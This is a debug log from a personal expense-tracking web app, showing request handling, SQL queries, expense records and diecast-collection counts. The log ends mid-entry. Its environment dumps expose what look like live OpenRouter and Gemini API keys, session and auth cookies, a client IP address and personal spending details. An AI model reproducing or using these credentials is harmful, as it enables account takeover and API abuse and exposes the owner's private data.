    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.248.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"163d-QEYfoAWELc8biR/gFewpN01aMSw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.248.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-07T09:25:35.653Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-03-07T09:25:35.653Z server-connect:app Executing action step identify
2026-03-07T09:25:35.653Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:35.653Z server-connect:output identity: 1
2026-03-07T09:25:35.654Z server-connect:app Executing action step restrict
2026-03-07T09:25:35.654Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:35.654Z server-connect:output restrict: undefined
2026-03-07T09:25:35.654Z server-connect:app Executing action step custom
2026-03-07T09:25:35.654Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-03-07T09:25:35.657Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-03-07T09:25:39.058Z server-connect:router Serving templateView /expense/list
2026-03-07T09:25:39.058Z server-connect:app Executing action step identify
2026-03-07T09:25:39.058Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:39.059Z server-connect:output identity: 1
2026-03-07T09:25:39.059Z server-connect:app Executing action step restrict
2026-03-07T09:25:39.059Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T09:25:39.059Z server-connect:output restrict: undefined
2026-03-07T09:25:39.059Z server-connect:router Render template expense/list
2026-03-07T09:25:39.059Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.248.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.248.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-07T09:25:39.438Z server-connect:router Serving serverConnect /api/expense/list
2026-03-07T09:25:39.438Z server-connect:app Executing action step identify
2026-03-07T09:25:39.438Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:39.438Z server-connect:output identity: 1
2026-03-07T09:25:39.438Z server-connect:app Executing action step restrict
2026-03-07T09:25:39.438Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:39.439Z server-connect:output restrict: undefined
2026-03-07T09:25:39.439Z server-connect:app Executing action step paged
2026-03-07T09:25:39.439Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-07T09:25:39.442Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-07T09:25:39.443Z server-connect:app Executing action step identify
2026-03-07T09:25:39.443Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:39.443Z server-connect:output identity: 1
2026-03-07T09:25:39.443Z server-connect:app Executing action step restrict
2026-03-07T09:25:39.443Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:39.443Z server-connect:output restrict: undefined
2026-03-07T09:25:39.443Z server-connect:app Executing action step select
2026-03-07T09:25:39.443Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-07T09:25:39.444Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-07T09:25:39.448Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-07T09:25:40.523Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-03-07T09:25:40.524Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-03-07T09:25:40.524Z server-connect:app Executing action step identify
2026-03-07T09:25:40.524Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:40.524Z server-connect:output identity: 1
2026-03-07T09:25:40.524Z server-connect:app Executing action step restrict
2026-03-07T09:25:40.524Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:40.525Z server-connect:app Executing action step identify
2026-03-07T09:25:40.525Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:40.525Z server-connect:output identity: 1
2026-03-07T09:25:40.525Z server-connect:app Executing action step restrict
2026-03-07T09:25:40.525Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:25:40.525Z server-connect:output restrict: undefined
2026-03-07T09:25:40.525Z server-connect:app Executing action step select
2026-03-07T09:25:40.525Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-03-07T09:25:40.526Z server-connect:output restrict: undefined
2026-03-07T09:25:40.526Z server-connect:app Executing action step single
2026-03-07T09:25:40.526Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-03-07T09:25:40.527Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 }
]
2026-03-07T09:25:40.528Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-03-07T09:26:45.663Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-03-07T09:26:45.664Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-03-07T09:26:45.664Z server-connect:app Executing action step identify
2026-03-07T09:26:45.664Z server-connect:app options: { provider: 'security' }
2026-03-07T09:26:45.664Z server-connect:output identity: 1
2026-03-07T09:26:45.664Z server-connect:app Executing action step restrict
2026-03-07T09:26:45.664Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:26:45.665Z server-connect:app Executing action step identify
2026-03-07T09:26:45.665Z server-connect:app options: { provider: 'security' }
2026-03-07T09:26:45.665Z server-connect:output identity: 1
2026-03-07T09:26:45.665Z server-connect:app Executing action step restrict
2026-03-07T09:26:45.665Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T09:26:45.666Z server-connect:output restrict: undefined
2026-03-07T09:26:45.666Z server-connect:app Executing action step single
2026-03-07T09:26:45.666Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-03-07T09:26:45.667Z server-connect:output restrict: undefined
2026-03-07T09:26:45.667Z server-connect:app Executing action step select
2026-03-07T09:26:45.667Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-03-07T09:26:45.669Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 }
]
2026-03-07T09:26:45.670Z server-connect:output last_invoice: { max_invoice: 1244 }
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 10:11:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 10:11:54' as DATETIME)"
}
2026-03-07T12:33:51.218Z server-connect:router Serving templateView /
2026-03-07T12:33:51.220Z server-connect:app Executing action step identify
2026-03-07T12:33:51.220Z server-connect:app options: { provider: 'security' }
2026-03-07T12:33:51.220Z server-connect:auth No login cookie found
2026-03-07T12:33:51.220Z server-connect:output identity: false
2026-03-07T12:33:51.220Z server-connect:app Executing action step restrict
2026-03-07T12:33:51.220Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T12:33:51.221Z server-connect:output restrict: undefined
2026-03-07T12:33:51.906Z server-connect:router Serving templateView /login
2026-03-07T12:33:51.906Z server-connect:app Executing action step identify
2026-03-07T12:33:51.907Z server-connect:app options: { provider: 'security' }
2026-03-07T12:33:51.907Z server-connect:auth No login cookie found
2026-03-07T12:33:51.907Z server-connect:output identity: false
2026-03-07T12:33:51.907Z server-connect:router Render template layouts/authentication
2026-03-07T12:33:51.907Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
